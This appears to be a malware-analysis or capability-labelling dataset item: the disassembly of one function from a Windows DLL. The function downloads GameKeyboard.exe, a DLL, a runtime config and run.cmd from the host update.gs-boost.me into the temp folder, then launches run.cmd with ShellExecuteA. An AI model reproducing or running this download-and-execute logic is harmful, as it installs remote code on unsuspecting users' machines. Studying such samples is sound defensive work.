Function at 0x10001170
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100030d3
mov eax, dword fs:[0]
push eax
sub esp, 0x468
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x410]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10001b14
cmp eax, 0x400
ja 0x10001b14
push str.http:__update.gs_boost.me_
lea ecx, [ebp - 0x428]
call fcn.10001be0
lea eax, [ebp - 0x410]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x474]
call fcn.10001be0
mov edi, eax
mov byte [ebp - 4], 1
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x11
jb 0x10001228
lea eax, [ecx + 0x11]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x1000120f
mov eax, dword [edi]
push 0x11
lea esi, [eax + ecx]
push 0x100041c0
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x11], 0
jmp 0x10001247
push 0x11
push 0x100041c0
mov byte [ebp - 0x42c], 0
mov ecx, edi
push dword [ebp - 0x42c]
push 0x11
call fcn.10002060
mov edi, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x444], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x434], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 2
lea esi, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x428]
push str.GameKeyboard.exe
cmovae esi, dword [ebp - 0x444]
lea ecx, [ebp - 0x45c]
call fcn.10001f30
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x100012c6
mov eax, dword [eax]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x448]
cmp ecx, 0x10
jb 0x1000130e
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001304
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100013ae
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x430]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp ecx, 0x10
jb 0x10001363
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001359
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100013ae
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0x10
jb 0x100013be
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100013b4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100013b4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x474]
call fcn.10001be0
mov edi, eax
mov byte [ebp - 4], 3
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x11
jb 0x1000140d
lea eax, [ecx + 0x11]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x100013f4
mov eax, dword [edi]
push 0x11
lea esi, [eax + ecx]
push 0x100041e8
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x11], 0
jmp 0x1000142c
push 0x11
push 0x100041e8
mov byte [ebp - 0x42c], 0
mov ecx, edi
push dword [ebp - 0x42c]
push 0x11
call fcn.10002060
mov edi, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x444], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x434], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 4
lea esi, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x428]
push str.GameKeyboard.dll
cmovae esi, dword [ebp - 0x444]
lea ecx, [ebp - 0x45c]
call fcn.10001f30
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x100014ab
mov eax, dword [eax]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x448]
cmp ecx, 0x10
jb 0x100014f3
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100014e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001593
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x430]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp ecx, 0x10
jb 0x10001548
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000153e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001593
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0x10
jb 0x100015a3
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001599
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001599
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x474]
call fcn.10001be0
mov edi, eax
mov byte [ebp - 4], 5
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x20
jb 0x100015f2
lea eax, [ecx + 0x20]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x100015d9
mov eax, dword [edi]
push 0x20
lea esi, [eax + ecx]
push 0x10004210
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x20], 0
jmp 0x10001611
push 0x20
push 0x10004210
mov byte [ebp - 0x42c], 0
mov ecx, edi
push dword [ebp - 0x42c]
push 0x20
call fcn.10002060
mov edi, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x444], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x434], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 6
lea esi, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x428]
push str.GameKeyboard.runtimeconfig.json
cmovae esi, dword [ebp - 0x444]
lea ecx, [ebp - 0x45c]
call fcn.10001f30
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x10001690
mov eax, dword [eax]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x448]
cmp ecx, 0x10
jb 0x100016d8
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100016ce
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001778
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x430]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp ecx, 0x10
jb 0x1000172d
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001723
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001778
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0x10
jb 0x10001788
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000177e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000177e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x474]
call fcn.10001be0
mov edi, eax
mov byte [ebp - 4], 7
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x100017d7
lea eax, [ecx + 8]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x100017be
mov eax, dword [edi]
push 8
lea esi, [eax + ecx]
push str._run.cmd
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
jmp 0x100017f6
push 8
push str._run.cmd
mov byte [ebp - 0x42c], 0
mov ecx, edi
push dword [ebp - 0x42c]
push 8
call fcn.10002060
mov edi, eax
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x444], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x434], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 8
lea esi, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x428]
push str.run.cmd
cmovae esi, dword [ebp - 0x444]
lea ecx, [ebp - 0x45c]
call fcn.10001f30
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x10001875
mov eax, dword [eax]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 0x448]
cmp ecx, 0x10
jb 0x100018bd
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100018b3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000195d
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x430]
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp ecx, 0x10
jb 0x10001912
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001908
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000195d
push ecx
push edx
call fcn.100022b1
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0x10
jb 0x1000196d
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001963
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001963
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x474]
call fcn.10001be0
mov edi, eax
mov byte [ebp - 4], 9
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 8
jb 0x100019bc
lea eax, [ecx + 8]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x100019a3
mov eax, dword [edi]
push 8
lea esi, [eax + ecx]
push str._run.cmd
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 8], 0
jmp 0x100019db
push 8
push str._run.cmd
mov byte [ebp - 0x42c], 0
mov ecx, edi
push dword [ebp - 0x42c]
push 8
call fcn.10002060
mov edi, eax
mov dword [ebp - 0x444], 0
lea eax, [ebp - 0x444]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0
movups xmm0, xmmword [edi]
push 0xa
push 0
movups xmmword [ebp - 0x444], xmm0
push 0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x434], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp dword [ebp - 0x430], 0x10
cmovae eax, dword [ebp - 0x444]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x430]
cmp ecx, 0x10
jb 0x10001a7f
mov edx, dword [ebp - 0x444]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001a75
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ac6
push ecx
push edx
call fcn.100022b1
add esp, 8
mov ecx, dword [ebp - 0x460]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
cmp ecx, 0x10
jb 0x10001ad6
mov edx, dword [ebp - 0x474]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001acc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001acc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
mov ecx, dword [ebp - 0x414]
cmp ecx, 0x10
jb 0x10001b2c
mov edx, dword [ebp - 0x428]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001b08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10001b08
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100022b1
add esp, 8
jmp 0x10001b2c
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.10001cf0
push 0x10001f00
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100022a3
mov esp, ebp
pop ebp
ret